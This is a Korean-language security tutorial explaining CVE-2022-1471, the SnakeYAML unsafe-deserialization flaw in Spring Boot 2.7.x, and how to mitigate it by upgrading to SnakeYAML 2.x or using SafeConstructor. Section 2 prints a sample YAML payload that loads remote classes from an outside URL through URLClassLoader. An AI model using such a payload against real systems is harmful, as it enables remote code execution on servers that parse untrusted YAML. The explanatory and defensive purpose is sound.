Resolving CVE-2022-1471 With SnakeYAML 2.0
1. 개요
이 글에서는 **CVE-2022-1471을 통해 Spring Boot에 도입된 심각한 취약점에 대해 설명합니다. SnakeYAML 2.0이 이 문제를 어떻게 해결하는지와 우리 프로젝트에 업데이트를 적용하여 애플리케이션을 안전하게 하는 방법도 살펴보겠습니다.
Spring Boot 2.7.x 및 이전 버전은 내부적으로 SnakeYAML 1.x를 사용하여 이 문제에 취약합니다.
2. CVE-2022-1471 이해하기
CVE-2022-1471은 SnakeYAML에서 안전하지 않은 역직렬화로 발생하는 취약점입니다. 이 라이브러리는 임의의 객체를 역직렬화할 수 있도록 허용합니다.
공격자는 이 동작을 악용하여 서버에서 악성 코드를 실행할 수 있습니다. 이는 SnakeYAML이 신뢰할 수 없는 YAML 입력을 역직렬화할 때 예상치 못하거나 위험한 객체 유형이 포함된 경우 발생할 수 있습니다:
public void parse() {
String exploitPayload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://dosattack/\"]\n" +
" ]]\n" +
"]";
// 안전하지 않은 YAML 파싱
Yaml yaml = new Yaml();
Object result = yaml.load(exploitPayload);
log.info("Deserialized object: {}", result);
}
이 parse() 메소드는 URLClassLoader를 사용하여 외부 리소스를 로드하려고 시도하는 악성 YAML 페이로드를 처리합니다. 이는 신뢰할 수 없는 YAML 입력이 위험한 객체 유형의 역직렬화로 이어질 수 있음을 강조하며, 공격자가 악성 코드를 실행할 수 있도록 합니다.
이러한 취약점은 원격 코드 실행(RCE)로 이어질 수 있으며, 이는 심각한 보안 문제입니다.
3. SnakeYAML 2.0이 CVE-2022-1471을 해결함
CVE-2022-1471이 제기하는 위험을 완화하기 위해 SnakeYAML은 특히 안전한 기본값과 역직렬화에 대한 엄격한 제어와 관련하여 주요 개선 사항을 도입합니다.
3.1. 기본적으로 SafeLoader 사용
SnakeYAML에서 로더는 YAML 입력을 Java 객체로 변환합니다. 서로 다른 로더는 역직렬화할 수 있는 객체의 유형을 결정합니다. 2.0 버전 이전에 SnakeYAML은 기본적으로 보다 관대한 로더를 사용하여 임의의 객체 유형의 역직렬화를 허용했습니다.
SnakeYAML 2.0은 이제 기본적으로 SafeLoader를 사용합니다. 이 로더는 String, Integer, List, Map과 같은 기본 데이터 유형만 역직렬화합니다. 복잡하거나 잠재적으로 해로운 객체의 역직렬화는 명시적으로 허용되지 않는 한 방지됩니다:
Yaml yaml = new Yaml(); // 기본적으로 SafeLoader 사용
SafeLoader는 기본 데이터 구조만 처리되도록 보장하여 역직렬화 취약점에 대한 공격 표면을 크게 줄입니다.
3.2. 고급 사용 사례를 위한 사용자 정의 로더
SnakeYAML 2.0은 개발자가 더 복잡한 객체 역직렬화가 필요한 애플리케이션을 위해 사용자 정의 로더를 사용할 수 있도록 허용합니다. 이를 통해 역직렬화되는 유형에 대한 보다 나은 인식을 강요하며, 비기본 유형 처리에 대해 명시적인 구성이 필요합니다:
Yaml yaml = new Yaml(new Constructor(Customer.class));
이렇게 하면 사용자 정의 유형의 역직렬화가 가능해지지만, 보안을 보장하기 위해 허용되는 클래스를 관리하는 것이 중요합니다.
4. CVE-2022-1471 완화하기
CVE-2022-1471 취약점을 완화하기 위해 두 가지 옵션이 있습니다. 우리가 기본적으로 더 안전한 역직렬화 관행을 시행하는 SnakeYAML 2.0으로 업그레이드하거나, 이전 버전에서 수동으로 SafeConstructor를 사용할 수 있습니다.
4.1. SnakeYAML 2.x로 업그레이드
이 취약점을 완화하기 위해 SnakeYAML 2.x로 업그레이드해야 합니다. 이 버전은 기본적으로 더 안전한 역직렬화 관행을 시행하여 CVE-2022-1471 문제를 해결합니다.
pom.xml을 업데이트하여 Maven 프로젝트에 SnakeYAML 2.0을 포함해 보겠습니다:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>2.3</version>
</dependency>
4.2. 하위 버전에서 SafeConstructor 사용
2.0으로 업그레이드하지 못하는 경우, 이전 버전에서 수동으로 SafeConstructor를 사용하여 취약점을 완화할 수 있습니다:
Yaml yaml = new Yaml(new SafeConstructor());
SafeConstructor는 역직렬화할 수 있는 객체 유형을 제한하여, 구버전 SnakeYAML을 사용하는 애플리케이션을 보호하기 위한 임시 조치를 제공합니다.
5. 안전하지 않은 역직렬화 방지하기
SnakeYAML이나 다른 YAML 파서에서 안전하지 않은 역직렬화를 피하기 위해 추가적인 예방 조치를 취하는 것이 중요합니다:
- 허용되는 유형 제한: 우리는 항상 신뢰할 수 있는 제한된 유형 집합으로 역직렬화를 제한하고, 불필요한 경우에는 임의의 복잡한 객체 객체 그래프를 역직렬화하지 말아야 합니다.
- 입력 검증: YAML 입력을 파싱하기 전에 스키마나 기대사항에 대해 검증하고, 신뢰할 수 없는 YAML 데이터를 신중하게 검증하지 않고 파싱하지 말아야 합니다.
6. 결론
이 간단한 튜토리얼에서는 SnakeYAML의 안전하지 않은 역직렬화로 인해 CVE-2022-1471이 도입한 주요 보안 위험을 살펴보았습니다. 이는 Spring Boot 2.7.x를 사용하는 애플리케이션에 특히 영향을 미치며, 해당 애플리케이션은 취약한 SnakeYAML 1.x 버전에 의존합니다. SnakeYAML 2.0의 출시가 이 문제를 해결하며, 안전한 로더를 도입하여 보안이 크게 강화됩니다.
이 취약점으로부터 애플리케이션을 보호하기 위해 SnakeYAML 2.0으로 업그레이드하거나, Spring Boot 프로젝트에서 이전 버전의 SnakeYAML을 재정의하는 것이 매우 중요합니다.
이 글에서 소개된 모든 코드는 GitHub에서 확인할 수 있습니다.